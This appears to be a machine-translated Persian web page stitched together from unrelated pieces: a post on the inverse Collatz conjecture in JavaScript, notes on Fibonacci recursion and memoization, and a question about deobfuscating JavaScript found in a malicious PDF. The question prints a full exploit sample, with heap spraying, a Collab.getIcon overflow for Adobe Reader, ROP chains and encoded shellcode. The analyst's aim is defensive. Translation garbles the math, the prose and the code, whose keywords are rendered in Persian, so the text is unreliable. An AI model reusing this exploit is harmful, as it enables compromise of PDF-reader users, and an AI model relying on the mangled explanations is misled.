محاسبه در مقابل با جاوا اسکریپت

نه چندان دور من در کنار خط مشی کولاتز، مشکل ریاضی بسیار جالب که هر کسی هنوز برای پیدا کردن اثبات برای آن آمده است. محتوا Collatz، در غیر این صورت به عنوان مشکل 3n + 1، به نظر می رسد بسیار ساده است که هر کسی می تواند وسوسه شود برای رسیدن به آن برای رسیدن به اثبات.

من شنیده ام که این حدس در برخی از نقطه توقف پیشرفت در ریاضیات بود هر ریاضیدان روی آن کار می کرد، تلاش می کرد تا این اثبات را پیدا کند.

بنابراین گمانه کولتز چیست؟

گزاره کولاتز یک فرض در ریاضیات به نام لوتار کولاتز است و خلاصه آن: اگر شما هر عدد طبیعی را می گیرید [19659005] n اگر آن را حتی تقسیم آن توسط 2 (برای دریافت n / 2 ) اگر آن را عدد صحیح آن را ضرب 3 و اضافه کردن 1 (برای دریافت 3n + 1 ) و اگر این پروسه را به صورت بازگشتی و نامحدود تکرار کنید، در نهایت به مرحله اول می رسیم.

به عنوان مثال اجازه می دهیم شماره 20 ، این ترتیب است که شما دریافت خواهید کرد:

20، 10 (20/2)، 5 (10/2)، 16 (3 * 5 + 1)، 8 (16/2)، 4 (8/2)، 2 (4/2)، 1 (2/2)

همانطور که می بینید ما ev به طور انحصاری 1 رسیده است.

این مقاله در مورد فرمول بندی های مختلف از یک حدس است: معکوس

رابطه معکوس

فرمول اصلی بیان می کند که تمام اعداد طبیعی در نهایت منجر به یک با استفاده از رابطه معکوس می توانیم خودمان را به اثبات برساند که به طور خلاف آن است که 1 به تمام اعداد طبیعی منتهی می شود.

رابطه معکوس Conjecture Collatz

رابطه معکوس تا حدودی پیچیده و پیچیده تر از اصل 3n + 1 است طول می کشد تا سر خود را به اطراف بچرخانید. این بر اساس محاسبات مدولار، نماد هماهنگی توجه است (≡):

برای هر عدد صحیح n، ≡ 1 (mod 2) iff 3n + 1 ≡ 4 (mod 6). معادل (n-1) / 3 ≡ 1 (mod 2) iff n ≡ 4 (mod 6)

برای حدس معکوس، ما باید از پایین، از 1. در این فرمول من علاقه مند ( n – 1) / 3 ≡ 1 (mod 2) iff n ≡ 4 (mod 6) part

پس چه چیزی به ما می دهد؟ با استفاده از این بخش می توانیم عددهای عددی را از شماره داده شده شناسایی کنیم، چرا که مفید است، زیرا فقط گاهی اوقات عددی عدد بالاتر از تعداد داده شده وجود خواهد داشت و در هر زمان حتی عدد (see Pic. above، 2n always present) 19659022] اگر n ≡ 4 (mod 6) سپس (n-1) / 3 ≡ 1 (mod 2)

در سایر کلمات جاوا اسکریپت:

اگر (n-4)٪ 6 = 0، (n – 1) / 3 و این شماره
((n – 1) / 3)٪ 2 = 1 (odd)

اجازه می دهد تا آن را بررسی کنید، از 1:

(1-4 )٪ 6! = 0 بدین معناست که تعداد عددی بالاتر از 1 در توالی Collatz وجود ندارد، اما ما می دانیم که وجود خواهد داشت حتی (* 2) عدد، بنابراین عدد بالاتر از یک خواهد شد 2.

ادامه می دهد با 2 :

(2-4)٪ 6! = 0، به این معنی است که هیچ عدد عدد بیش از 2 وجود ندارد، فقط حقیقت: 2 * 2 = 4

ادامه 4:

(4-4 )٪ 6 = 0، به این معنی که یک عدد عدد بیش از 4 وجود دارد و این عدد (4-1) / 3 است که یکی است. ما برگشتیم به جایی که ما شروع کردیم، و این حلقه است، فرضیه کالارتز «ناهنجاری»، آن چرخه 1 → 4 → 2 → 1 . ما در حال حاضر به آن اهمیتی نمی دهیم، بنابراین ما باید یک شرایط دیگر برای عدد های عجیب ما اضافه کنیم:

ما فقط می توانیم از یک عدد عدد استفاده کنیم اگر آن برابر با 1 نیست: (n-1) / 3! = 1 [19659032] در حال حاضر ما می توانیم فقط تعداد عجیب و غریبی را نادیده بگیریم و ادامه دهیم حتی: 8

(8-4)٪ 6! = 0، ما فقط بالاتر از 8 است که 16 است.

تا کنون این Collatz پایین ترین توالی: 1-2-4-8-16

بیایید ببینیم که چه اتفاقی خواهد افتاد:

(16-4)٪ 6 = 0 تعداد عدد بیش از 16 وجود دارد و آن (16-1) / 3 = 5، همانگونه که می دانیم همیشه هم یک عدد حقیقی وجود دارد

در حال حاضر می دانیم که 2 عدد بالاتر از 16: 5 و 32 وجود دارد، در اینجا می توانیم یک شکل درخت را ببینیم:

درخت معکوس Collatz

و هنگامی که ما همان فرآیند را برای 32 و 5 تکرار خواهیم دید که چگونه این درخت رشد خواهد کرد.

اکنون، هنگامی که ما کمی با آرایتفتاسیون پس از فرمول معکوس کلامز کولتز روشن می شویم، ما در نهایت می تواند چیزی را به برنامه نویسی تبدیل کند. همانطور که قبلا می دانید زبان مورد نظر برای اجرای زمین بازی جاوا اسکریپت است، با توجه به این که تنها از ویژگی های زبان بومی استفاده خواهم کرد بدون هیچ گونه عوارضی.

سطوح ساده لینک کمتر

اولین کاری ساده که می توانیم انجام دهیم این است یک آرایه آرایه را پر کنید، هر آرایه زیر به اعداد در یک سطح درختی مربوط می شود:

درخت دودویی

همانطور که شما ممکن است متوجه شوید، نتایج محاسبه یک درخت دودویی نامتعادل یا حتی جستجو باینری را ایجاد می کند درخت، با جایگزینی بزرگتر از و کمتر از ، شرایط با ساده odd a حتی . من در اینجا ساختار دادههای درختی باینری سفارشی را ایجاد نخواهم کرد، اما این مقاله شایسته مقاله جداگانه ای است، اما ما می دانیم که می توانیم درخت دودویی را به صورت ساختار داده های ضمنی با استفاده از آرایه های بومی نماییم:

در این ترتیب جمع و جور، اگر یک گره یک شاخص i، فرزندان آن در شاخص 2i + 1 (برای فرزند چپ) و 2i + 2 (برای سمت راست) یافت می شود، در حالی که پدر و مادرش (در صورت وجود) در شاخص (i-1) / 2 (فرض می شود ریشه شاخص صفر است.

همانطور که می بینید این یک ایده واقعا بد بود و کاملا یک راه حل فضایی برای توالی کولاتز نبود. من فکر می کنم ممکن است راه هایی برای بهینه سازی وجود داشته باشد، اما قطعا در خارج از محدوده این مقاله است.

نتیجه گیری

بخش پیچیده ای در Conjecture معکوس کولاتز، ریاضیات در پشت آن است، پس می توانید خود را انجام دهید پیاده سازی، ذخیره سازی و راه حل های محاسباتی، همانطور که در مثال 2 بالا ذکر شد. همه چیز بستگی به روش کار شما دارد و برای اطلاعات، تجزیه و تحلیل، تجسم یا چیز دیگری نیاز دارید.

و فقط به عنوان یک سلب مسئولیت، اما اگر شما در حال خواندن این مقاله شما احتمالا قبلا می دانید، که یک رشته JavaScript جاوا اسکریپت CPU مناسب برای محاسبه و تجزیه و تحلیل واقعی سنگین نیست. دلیل اینکه من با آن بازی کردم تجسم آینده از نتایج، برای رسم نمودارها و درختان بسیار است، در اینجا ما فقط از آرایتکتیوهای اولیه استفاده می کنیم.

توالی عدد فیبوناچی با جاوا اسکریپت – یادداشت مهندس

Recursion

رکوراسیون در درک من یک پیاده سازی بسیار واضح از تقسیم و هماهنگی است.

رکورد بسیار مفید است، زمانی که ساده تر است مشکل خود را به مشکلات کوچکتر و مشکلات کوچکتر به مشکلات کوچکتر تقسیم کنید برای مقابله با آن ها به طور جداگانه.

بر اساس این درک، من فکر نمی کنم که بازگشت به عنوان یک روش مناسب برای مشکل فیبوناچی است، با توجه به این که برخی از خطرات بالقوه با این ابزار (مانند سرریز پشته) وجود دارد. Recursion می تواند ابزار بسیار قدرتمند برای تولید راه حل های ظریف باشد، اما با قدرت بزرگ مسئولیت بزرگی به عهده می گیرد.

پس از گفتن، من توصیه نمی کنم از بازگشت برای توالی فیبوناچی (یا فاکتوریل) استفاده کنم. اگرچه بسیار مفید است از این پیاده سازی آگاه باشید، من فقط به عنوان آخرین راه حل استفاده از آن را توصیه می کنم، اگر به وضوح در شرایط سخت (در طی یک مصاحبه برنامه نویسی، مثلا) بیان شده است.

با وجود اینکه این کار می کند، من نمی خواهم آن را یک راه حل کامل می نامید. ما میتوانیم بهتر از این انجام دهیم. بیایید ببینیم چه اتفاقی می افتد با تماس با تابع فیبر بازگشتی با یک استدلال 4:

1. فیبر نوری (4) به فیبرتی (3) + فیبوت (2)

2 حل می شود. فیبر نوری (3) فیبر نوری (2) + فیبوت (1)

3 را حل میکند. فیبوت (2) حلقه به 1

4. فیبوت (1) به 1 برمی گردد

5. (1) + fib (0)) … (فیبوناچی (0) حل می شود به 0

fib (4) = فیب (3) + fib (2) = (فیب (2) + fib (1) 19659013] ما در اینجا 1 و 2 نقطه علاقه مند هستیم. همانطور که می توانید دوبار با همان پارامتر خود بایستید. این می تواند و باید اجتناب شود.

پیچیدگی زمان برای این پیاده سازی O (2 ^ n) بسیار بالا است

چگونه می توانیم آن را بهینه سازی کنیم؟

Memoization

Memoization یک روش بهینه سازی است ما همیشه می توانیم استفاده کنیم اگر ما می دانیم که الگوریتم ما یک تابع مشابه را با پارامتر های مشابه چندین بار فراخوانی می کند. به جای اجرای چنین تابع، ما می توانیم نتیجه ی اجرای قبلی را "به یاد داشته باشیم"، اجازه می دهد تا نگاهی به پیاده سازی بسیار اساسی داشته باشیم:

ما از کش متغیر استفاده می کنیم تا به نتیجه ی عملکرد تابع بپردازیم و اگر پارامتر برای اجرای تابع آینده در حال حاضر در حافظه پنهان است و سپس این مقدار را به دست می آوریم.

این پیاده سازی به ما اطمینان می دهد که برای هر تابع تعداد فیبر تنها یکبار اجرا می شود. پیچیدگی زمان برای این پیاده سازی O (n) است که بسیار بهتر از بازگشت مجدد سنتی است. همانطور که در "حلقه و آرایه" پیاده سازی شده است، این نسخه اضافه می کند سربار حافظه برای ذخیره سازی حافظه پنهان ما با پیچیدگی O (n)

بدافزار – Deobfuscating کد جاوا اسکریپت در یک PDF مضر

من در حال کار بر روی یک پروژه برای بررسی نحوه آلوده شدن PDF ها و کد های مخرب موجود در این اسناد هستم.

کد مخرب مبهم است و من روش های مختلفی را امتحان کردم اما به نظر نمی رسید که کارها را انجام دهم و تا به حال نمی توانم آن را از بین ببرم.

من از Peepdf برای استخراج کد جاوا اسکریپت استفاده کرده ام و سعی کردم آن را تجزیه و تحلیل کنم، اما موفق نشدم.

کد زیر داده شده است:

 var sc

برای (i = 0؛ i <18000؛ + +)
    sc = sc + 0x60
var sc1
برای (i = 0؛ i <18000؛ + +)
    sc1 = sc1 + 0x60
var sc2
برای (i = 0؛ i <18000؛ + +)
    sc2 = sc2 + 0x60
برای (i = 0؛ i <18000؛ + +)
    var sc3
sc3 = sc3 + 0x60
var sc4
برای (i = 0؛ i < 18000; i++)
    sc4 = sc4 + 0x60


var strTempA = "byteToChar";
var strTempB = "getIcon";
var strTempC = "collectEmailInfo";

function rep(count, what) {
    var v = "";
    while (--count > = 0) v + = what؛
    بازگشت V؛
}

function myunes (buf) {
    var ret = ""
    برای (var x = 0؛ x <buf ["length"]؛ x + = 2) {
    ret = ret + util [strTempA] (شماره ("0x" + buf ["substr"] (x، 2)))؛
    }
    بازگشت ret؛
}

اسکریپت٪ u0c0C٪ u11eB٪ u5bfc٪ u334b٪ u66c9٪ u2eb9٪ u8003٪ u0b34٪ ue28f٪ uebfa٪ ue805٪ uffeb٪ uffff٪ uubf67٪ u8f8f٪ u228f٪ uf214٪ u2350٪ u5587٪ u99f9٪ u75ea٪ u639f٪ u8c18٪ u7483٪ u7218٪ uubc80٪ u0545٪ u65d4٪ u05c6٪ u5667٪ uac05٪ u1766٪ u0571٪ uff81٪ u60fc٪ u69b9٪ u0098٪ u0cf4٪ u3a36٪ uud4f7٪ u06da٪ u0e6a٪ uc763٪ u8f8d٪ u068f٪ u73d2٪ ubfe5٪ uebd6٪ u8e04٪ u93f٪ u0422٪ u87d7٪ u83e5٪ u04d6٪ u73f2٪ Udcde٪ ufb70٪ u7300٪ ufc67٪ u8f8d٪ uud68f٪ ucb06٪ u7300٪ u616d٪ u8ee5٪ u02d1٪ u7bca٪ ud9df٪ u8804٪ u5f70٪ uca06٪ ub27f٪ u7070٪ u7070٪ u8bfa٪ ud9c9٪ u6764٪ u8fb2٪ u8faf٪ uf88f٪ uc98b٪ u64d9٪ ue552٪ ue58f٪ ue78f٪ u9d8f٪ u8f8f٪ u04d9٪ u8bc8٪ u5f70٪ u8fe5٪ uca02٪ udf63٪ u87e5٪ uca02٪ udf37٪ u04d9٪ u87c8٪ u5f70٪ u4f0a٪ u8bfa٪ ud9c9٪ u3b64٪ uf20e٪ udf37٪ udfeb٪ ufbcb٪ uc98b٪ u64d9٪ u0e28٪ u33f2٪ u7160٪ u2165٪ u8bfb٪ ud9c9٪ u1564٪ ufa70٪ ue57f٪ u70cf٪ u83d8٪ uca06٪ u0a57٪ ufa4f٪ u668a٪ u8e68٪ u8f8f٪ u8fe5٪ u8fe5٪ u8fe5٪ u70d9٪ u8bd8٪ u8fe5٪ uca02٪ udf63٪ ufa70٪ u707f٪ u57fa٪ u70d9٪ u87d8٪ u4f0a٪ u8afa٪ u4b66٪ u8f8e٪ ud98f٪ ud870٪ u049f٪ u57d2٪ u0c04٪ u9d9f٪ u8f8f٪ uka06٪ u0467٪ u9b0c٪ u8f9d٪ u068f٪ u6bca٪ u0c04٪ u9d97٪ u8f8f٪ uca06٪ u8c6f٪ u6bca٪ uca8c٪ u06 67٪ u53ca٪ u05c7٪ u8c1b٪ u9d93٪ u8f8f٪ u4dbf٪ u1b07٪ u938c٪ u8f9d٪ u0a8f٪ uf84f٪ u0264٪ u370a٪ u7071٪ uudf70٪ u77e7٪ u8f8f٪ u708f٪ u9bd8٪ u3402٪ u9d93٪ u8f8f٪ u460e٪ u7070٪ u7070٪ u4fbe٪ u217d٪ u5e78٪ u40a6٪ u7106٪ u4506٪ u3202٪ u7137٪ u7070٪ u460e٪ u7070٪ u7070٪ u217d٪ u06c0٪ u7c5e٪ ue52b٪ u028d٪ u370a٪ u7071٪ udf70٪ uf204٪ u7073٪ u97d8٪ u70b2٪ u7070٪ ufa70٪ u668a٪ u8ea0٪ u8f8f٪ uka06٪ u0647٪ u704d٪ u67fa٪ u0c02٪ u9d93٪ u8f8f٪ uca8c٪ uudf6f٪ u36dd٪ u8e8f)٪ u8f8f٪ udb05٪ u71c7٪ ufb05٪ u70c7٪ ufb07٪ u71c7٪ udb07٪ u70c7 ٪ u616d٪ ud870٪ u7093٪ u47fa٪ ud870٪ ue59f٪ u028f٪ u370a٪ u7071٪ udf70٪ ud870٪ u70af٪ uabd8٪ uca06٪ u065f٪ u0649٪ u0e48٪ u7046٪ u7070٪ ube70٪ u7d4f٪ u7821٪ uc65e٪ uc206٪ u0243 ٪ u3732٪ u7071٪ u0770٪ u808b٪ u05c6٪ u818b٪ uadb3٪ u90fa٪ u05c6٪ u818b٪ uadb3٪ u88fb٪ ucb07٪ u8e80٪ u64c6٪ u8e7d٪ u0e40٪ u8d48٪ u8f8f٪ u068f٪ u4ff2٪ u9c66٪ u8f8f٪ u058f٪ u818b ٪ uafb3٪ u89fb٪ u8b07٪ uc680٪ u7c64٪ u408e٪ u06c8٪ u4ff2٪ ufa70٪ ue57f٪ u04cf٪ u73da٪ udd70٪ u0683٪ u5bca٪ u4806٪ ufa04٪ u8c67٪ u6ffa٪ u518e٪ u490e٪ u9d93٪ u8f8f٪ uc204٪ u7c6b ٪ u042b٪ u73f2٪ u8fe5٪ ufa70٪ u704f٪ u97d8٪ uca06٪ ub24b٪ u7070٪ u7070٪ ud4fb٪ u06d8٪ u704c٪ u7ffa٪ ufa70٪ udf5b٪ ud870٪ udc93٪ ud870٪ u049f٪ u4ff2٪ u460e٪ u7070٪ u7070٪ u4fbe٪ u217d٪ u5e78٪ u40a6٪ u7106٪ u3202٪ u7237٪ u7070٪ u8848٪ ue2ec٪ ua1eb٪ uc848٪ uea8b٪ ueaf7٪ u48af٪ u87c8٪ ueca0٪ uadaf٪ u480e٪ u8f83٪ u8f8f٪ u2b7c٪ u49c0٪ uad88٪ u49c8٪ u8f88٪ ue5d0٪ u028f٪ u370a٪ u7072٪ udf70٪ ud870٪ u70af٪ ua7d8٪ u8fe5٪ u70df٪ ua3d8٪ udadc٪ ud8d9٪ ue304٪ u97ab٪ uca04٪ u04b3٪ u8adb٪ u8ef7٪ u0465٪ u97c5٪ ud504٪ u8eaf٪ u6c64٪ uc6bd٪ ubb04٪ u8e04٪ uube61٪ u7370٪ u4fbe٪ uub723٪ ufb6f٪ u4e88٪ u8240٪ u488e٪ u7d64٪ uf3b4٪ u9bab٪ u6efa٪ ud504٪ u8eab٪ ue964٪ u8304٪ u04c4٪ u93d5٪ u648e٪ u8b04٪ u8e04٪ u6467٪ ube8d٪ u064f٪ ud065٪ ud2d1٪ u4dd4٪ u8f87 "؛

تابع exp8 () {
    blah = rep (128، unescape ("u24242٪ u4242٪ u4242٪ u4242٪ u4242")) + sc؛
    bbk = unescape ("٪ u4242٪ u4242")؛
    var h = "getIcon"؛
    wap = 0x24 + blah ["length"]

    در حالی که (bbk ["length"] <wap)
           bbk + = bbk؛

    fillbk = bbk ["substring"] (0، wap)؛
    bk = bbk ["substring"] (0، bbk ["length"] - wap)؛

    در حالی که (bk ["length"] + wap <262144)
           bk = bk + bk + fillbk؛
    mm = array جدید () // jf؛ afkla '[
    برای (i = 0؛ i < 350; i++) 
           mm[i] = bk + blah;

    of = rep(4096, myunes("0a0a0a0a"));
    var a = ["_N.bundle"]; //next time
    var b = 5; //shlshgl

    Collab[h](of + a[b - b]) //ajf[pa';[
}

if (app.viewerVersion > = 9.00) // glwgjwpjp] '؛ "
{
    ممکن است TCfIpiOxOYTTeNgDQsDQaDtVjQ؛
    برای (i = 0؛ i <18000؛ + +)
    TCfIpiOxOYTTeNgDQsDQaDtVjQ = TCfIpiOxOYTTeNgDQsDQaDtVjQ + 0x70؛


    var scdt1 = "٪ u0C0C٪ u0C0C٪ u1062٪ u4a80٪ u4141٪ u4141٪ u6e6a٪ u4a80٪ u63a5٪ u4a80٪ u0000٪ u4a8a٪ u1062٪ u4a80٪ u4141٪ u4141٪ u1eba٪ u4a81٪ u2196٪ u4a80٪ u1f90٪ u4a80٪ u903c ٪ u4a84٪ uub692٪ u4a80٪ u1064٪ u4a80٪ u22c8٪ u4a85٪ u0000٪ u1000٪ u0000٪ u0000٪ u0000٪ u0000٪ u0002٪ u0000٪ u0102٪ u0000٪ u0000٪ u0000٪ u63a5٪ u4a80٪ u1064٪ u4a80٪ u2db2٪ u4a84 ٪ u2ab1٪ u4a80٪ u0008٪ u0000٪ ua8a6٪ u4a80٪ u1f90٪ u4a80٪ u9038٪ u4a84٪ uub692٪ u4a80٪ u1064٪ u4a80٪ uffff٪ uffff٪ u0000٪ u0000٪ u0040٪ u0000٪ u0000٪ u0000٪ u0000٪ u0001٪ u0000 ٪ u0000٪ u63a5٪ u4a80٪ u1064٪ u4a80٪ u2db2٪ u4a84٪ u2ab1٪ u4a80٪ u0008٪ u0000٪ ua8a6٪ u4a80٪ u1f90٪ u4a80٪ u9030٪ u4a84٪ uub692٪ u4a80٪ u1064٪ u4a80٪ uffff٪ uffff٪ u0022٪ u0000 ٪ u0000٪ u0000٪ u0000٪ u0000٪ u0000٪ u000001٪ u0000٪ u0000٪ u0001٪ u63a5٪ u4a80٪ u1064٪ u4a80٪ u2db2٪ u4a84٪ u2ab1٪ u4a80٪ u0020٪ u0000٪ ua8a6٪ u4a80٪ u63a5٪ u4a80٪ u1064٪ u4a80٪ uaedc٪ u4a80٪ u1f90 ٪ u4a80٪ u0034٪ u0000٪ ud585٪ u4a80٪ u63a5٪ u4a80٪ u1064٪ u4a80٪ u2db2٪ u4a84٪ u2ab1٪ u4a80٪ u000a٪ u0000٪ ua8a6٪ u4a80٪ u1f90٪ u4a80٪ u9170٪ u4a84٪ uub692٪ u4a80٪ u21b2٪ u4a80 ٪ uffff٪ uffff٪ uffff٪ uffff٪ u1000٪ u0000 "؛

    var scdt2 = "٪ u0C0C٪ u0C0C٪ u4919٪ u0700٪ u12bb٪ u0700٪ u1022٪ u0700٪ u0C0C٪ u0C0C٪ u0C0C٪ u0C0C٪ u1599٪ u0700٪ u0124٪ u72f7٪ u0700٪ u0104٪ u0001٪ u15bb٪ u0700٪ u1000 ٪ u0000٪ u154d٪ u0700٪ u15bb٪ u0700٪ u0300٪ u7ffe٪ u7fb2٪ u0700٪ u15bb٪ u0700٪ u0011٪ u0001٪ ua8ac٪ u0700٪ u15bb٪ u0700٪ u0100٪ u0001٪ ua8ac٪ u0700٪ u72f7٪ u0700٪ u0011٪ u0001 ٪ u52e2٪ u0700٪ u5c54٪ u0700٪ uffff٪ uffff٪ u0100٪ u0001٪ u0000٪ u0000٪ u0104٪ u0001٪ u1000٪ u0000٪ u0040٪ u0000٪ uud731٪ u0700٪ u15bb٪ u0700٪ u905a٪ u9054٪ u154d٪ u0700٪ ua722 ٪ u0700٪ u15bb٪ u0700٪ ueb5a٪ u5815٪ u154d٪ u0700٪ ua722٪ u0700٪ u15bb٪ u0700٪ u1a8b٪ u1889٪ u154d٪ u0700٪ ua722٪ u0700٪ u15bb٪ u0700٪ uc083٪ u8304٪ u154d٪ u0700٪ ua722٪ u0700 ٪ u15bb٪ u0700٪ u04c2٪ ufb81٪ u154d٪ u0700٪ ua722٪ u0700٪ u15bb٪ u0700٪ u0C00٪ u0C0C٪ u154d٪ u0700٪ ua722٪ u0700٪ u15bb٪ u0700٪ uee75٪ u05eb٪ u154d٪ u0700٪ ua722٪ u0700٪ u15bb ٪ u0700٪ ue6e8٪ uffff٪ u154d٪ u0700٪ ua722٪ u0700٪ u15bb٪ u0700٪ u90ff٪ u9090٪ u154d٪ u0700٪ ua722٪ u0700٪ u15bb٪ u0700٪ u9090٪ u9090٪ u154d٪ u0700٪ ua722٪ u0700٪ u15bb٪ u0700 ٪ u9090٪ u9090٪ u154d٪ u0700٪ ua722٪ u0700٪ u15bb٪ u0700٪ uffff٪ u90ff٪ u154d٪ u0700٪ ud731٪ u0700٪ u112f٪ u07 00 "؛

    var scdtreal = "٪ u38e8٪ u0000٪ uad00٪ u7d9b٪ uacdf٪ uda08٪ u1676٪ ufa65٪ uec10٪ u0397٪ ufb0c٪ ufd97٪ u330f٪ u8aca٪ uea5b٪ u8a49٪ uud9e8٪ u238a٪ u98e9٪ u8afe٪ u700e٪ uef73٪ uf636 ٪ uub922٪ ue67c٪ u8f17٪ u837b٪ uub5b9٪ u0478٪ u3249٪ u5bd3٪ u8955٪ u81e5٪ u48ec٪ u0002٪ u8900٪ ufc5d٪ u306a٪ u6459٪ u018b٪ u408b٪ u8b0c٪ u1c70٪ u8bad٪ u0858٪ u8b53٪ ufc7d٪ u77ff ٪ ue834٪ u02ba٪ u0000٪ u4789٪ u3134٪ u50c0٪ u6568٪ u336c٪ u6832٪ u656b٪ u6e72٪ ue089٪ uff50٪ u3457٪ uc389٪ u0d6a٪ u8b59٪ ufc7d٪ u5351٪ u74ff٪ ufc8f٪ u91e8٪ u0002٪ u5900٪ u4489 ٪ ufc8f٪ ueee2٪ u016a٪ u8d5e٪ uf445٪ u5650٪ u078b٪ ud0ff٪ u4589٪ u3df0٪ uffff٪ uffff٪ u0475٪ u5646٪ ue8eb٪ u003d٪ u0020٪ u7700٪ u4604٪ ueb56٪ u6add٪ u6a00٪ u6800٪ u1200٪ u0000 ٪ u8b56٪ u0447٪ ud0ff٪ u006a٪ u458d٪ u50ec٪ u086a٪ u458d٪ u50b8٪ u8b56٪ u0847٪ ud0ff٪ uc085٪ u0475٪ u5646٪ ub4eb٪ u7d81٪ u50b8٪ u5064٪ u7444٪ u4604٪ ueb56٪ u81a7٪ ubc7d٪ ufeef ٪ uaeea٪ u0474٪ u5646٪ u9aeb٪ u75ff٪ u6af0٪ uff40٪ u0c57٪ u4589٪ u85d8٪ u75c0٪ ue905٪ u0205٪ u0000٪ u006a٪ u006a٪ u006a٪ uff56٪ u0457٪ u006a٪ u458d٪ u50ec٪ u75ff٪ ufff0٪ ud875 ٪ uff56٪ u0857٪ uc085٪ u0575٪ ue2e9٪ u0001٪ u5600٪ u57ff٪ u8b10٪ uud85d٪ u838b٪ u1210٪ u0000٪ u4589٪ u8be8٪ u1483 ٪ u0012٪ u8900٪ ue445٪ u838b٪ u1218٪ u0000٪ u4589٪ u03e0٪ ue445٪ u4503٪ u89e8٪ uudc45٪ u8a48٪ u0394٪ u121c٪ u0000٪ uc230٪ u9488٪ u1c03٪ u0012٪ u8500٪ u77c0٪ u8deb٪ ub885٪ ufffe ٪ u50ff٪ uf868٪ u0000٪ uff00٪ u1457٪ uubb8d٪ u121c٪ u0000٪ uc981٪ uffff٪ uffff٪ uc031٪ uaef2٪ ud1f7٪ ucf29٪ ufe89٪ uca89٪ ubd8d٪ ufeb8٪ uffff٪ uc981٪ uffff٪ uffff٪ uaef2٪ u894f ٪ uf3d1٪ u6aa4٪ u8d02٪ uub885٪ ufffe٪ u50ff٪ u7d8b٪ ufffc٪ u1857٪ uff3d٪ uffff٪ u75ff٪ ue905٪ u014d٪ u0000٪ u4589٪ u89c8٪ uffc2٪ ue875٪ u838d٪ u121c٪ u0000٪ u4503٪ u50e0٪ uub952 ٪ u0100٪ u0000٪ u548a٪ ufe48٪ u748a٪ uff48٪ u7488٪ ufe48٪ u5488٪ uff48٪ ueee2٪ u57ff٪ uff1c٪ uc875٪ u57ff٪ u8d10٪ uub885٪ ufffe٪ ue8ff٪ u0000٪ u0000٪ u0481٪ u1024٪ u0000٪ u6a00 ٪ u5000٪ u77ff٪ uff24٪ u2067٪ u57ff٪ u8924٪ ud045٪ uc689٪ uc789٪ uc981٪ uffff٪ uffff٪ uc031٪ uaef2٪ ud1f7٪ u8949٪ ucc4d٪ ubd8d٪ ufeb8٪ uffff٪ u0488٪ u490f٪ u048a٪ u3c0e٪ u7522 ٪ u491f٪ u048a٪ u3c0e٪ u7422٪ u8807٪ u0f44٪ u4901٪ uf2eb٪ ucf01٪ uc781٪ u0002٪ u0000٪ u7d89٪ ue9c0٪ u0013٪ u0000٪ u048a٪ u3c0e٪ u7420٪ u8806٪ u0f04٪ ueb49٪ u01f3٪ u47cf٪ u7d89 ٪ uffc0٪ uf075٪ u406a٪ u558b٪ ufffc٪ u0c52٪ u4589٪ u89d4٪ u8bc7٪ ue875٪ u7503٪ u01e0٪ u81de٪ u1cc6٪ u0012٪ u8b00٪ ue4 4d٪ ua4f3٪ u7d8b٪ u6afc٪ uff00٪ uc075٪ u57ff٪ u8918٪ uc445٪ uff3d٪ uffff٪ u74ff٪ u576a٪ uc389٪ u75ff٪ ufff0٪ ud475٪ uff50٪ u1c57٪ uff53٪ u1057٪ u7d8b٪ u81c0٪ uffc9٪ uffff٪ u31ff٪ uf2c0٪ uf7ae٪ u29d1٪ u89cf٪ u8dfe٪ uub8bd٪ ufffd٪ uc7ff٪ u6307٪ u646d٪ uc72e٪ u0447٪ u7865٪ u2065٪ u47c7٪ u2f08٪ u2063٪ u8122٪ u0cc7٪ u0000٪ uf300٪ u4fa4٪ u07c6٪ u4722٪ u07c6٪ u5f00٪ u858d٪ ufdb8٪ uffff٪ u00e8٪ u0000٪ u8100٪ u2404٪ u0010٪ u0000٪ u006a٪ uff50٪ u2477٪ u67ff٪ uff20٪ u2c57٪ u006a٪ uff50٪ u3057٪ u5553٪ u5756٪ u6c8b٪ u1824٪ u458b٪ u8b3c٪ u0554٪ u0178٪ u8bea٪ u184a٪ u5a8b٪ u0120٪ ue3eb٪ u4932٪ u348b٪ u018b٪ u31ee٪ ufcff٪ uc031٪ u38ac٪ u74e0٪ uc107٪ u0dcf٪ uc701٪ uf2eb٪ u7c3b٪ u1424٪ ue175٪ u5a8b٪ u0124٪ u66eb٪ u0c8b٪ u8b4b٪ u1c5a٪ ueb01٪ u048b٪ u018b٪ uebe8٪ u3102٪ u89c0٪ u5fea٪ u5d5e٪ uc25b٪ u0008 "

    اگر (app.viewerType == "Exchange-Pro") {
      var TCfIpiOxOYTTeNgDQsDQaDtVjQ = unescape (scdt2 + scdtreal)؛
    }
    دیگر {
    var TCfIpiOxOYTTeNgDQsDQaDtVjQ = unescape (scdt1 + scdtreal)؛
    }

    var XKtjCxpAIbqdRwoMdiBCpVSjcTYFRzGELEihzuiDjaUHqPKUpjzVplIanruZkjmlHjJpV = unescape ("٪ u0C0C٪ u0C0C")؛

    در حالی که (XKtjCxpAIbqdRwoMdiBCpVSjcTYFRzGELEihzuiDjaUHqPKUpjzVplIanruZkjmlHjJpV ["length"] + 28 <65536)
    ایکس باکس

    (0، (3084 - 36) / 2)؛
    KamKpVdorBTYgaOYYulKQswCiJyjvhZksBoGyWoNohJhsqyPygdvFvAalRntpAyIGDrzYxVhTGNylo + = TCfIpiOxOYTTeNgDQsDQaDtVjQ؛
    کامپوزیت
    (0، 65536/2)؛

    در حالی که (KoHQQkRIckZJKtdlKTGyUUS ["length"] <524288)
    خدانگهدار

    (0، 524288 - 4120/2)؛
    // ashlfajl؛ afj

    var JkNUxvkKFXvIXewntXRjnLOytMONPyrcUEpPSGrzHuBijVDY = آرایه جدید () // ip [wo][] l؛
    برای (tYzswEF = 0؛ tYzswEF <496؛ tYzswEF ++)
    JkNUxvkKFXvIXewntXRjnLOytMONPyrcUEpPSGrzHuBijVDY [tYzswEF] = bdfzsvuobNyDZnrqvFjkFWMnGaDbvlYCKTfwjiCwLEXKoTngADhROnZManDz + "s"؛
    // shklfh
    // ahf؛ lajf؛
} else {
    exp8 ()؛

}

هنگامی که من سعی می کنم آن را در مرورگر اجرا کنم، اشتباهات می گوید که "util" تعریف نشده یا "Collab" تعریف نشده است.

من می خواهم بدانم که چگونه این رمز را رمزگشایی کرده یا هر گونه کمک در این مسیر را دریافت کنم.

آیا نوع اجبار در جاوا اسکریپت یک چیز خوب است؟ – یادداشت های مهندس

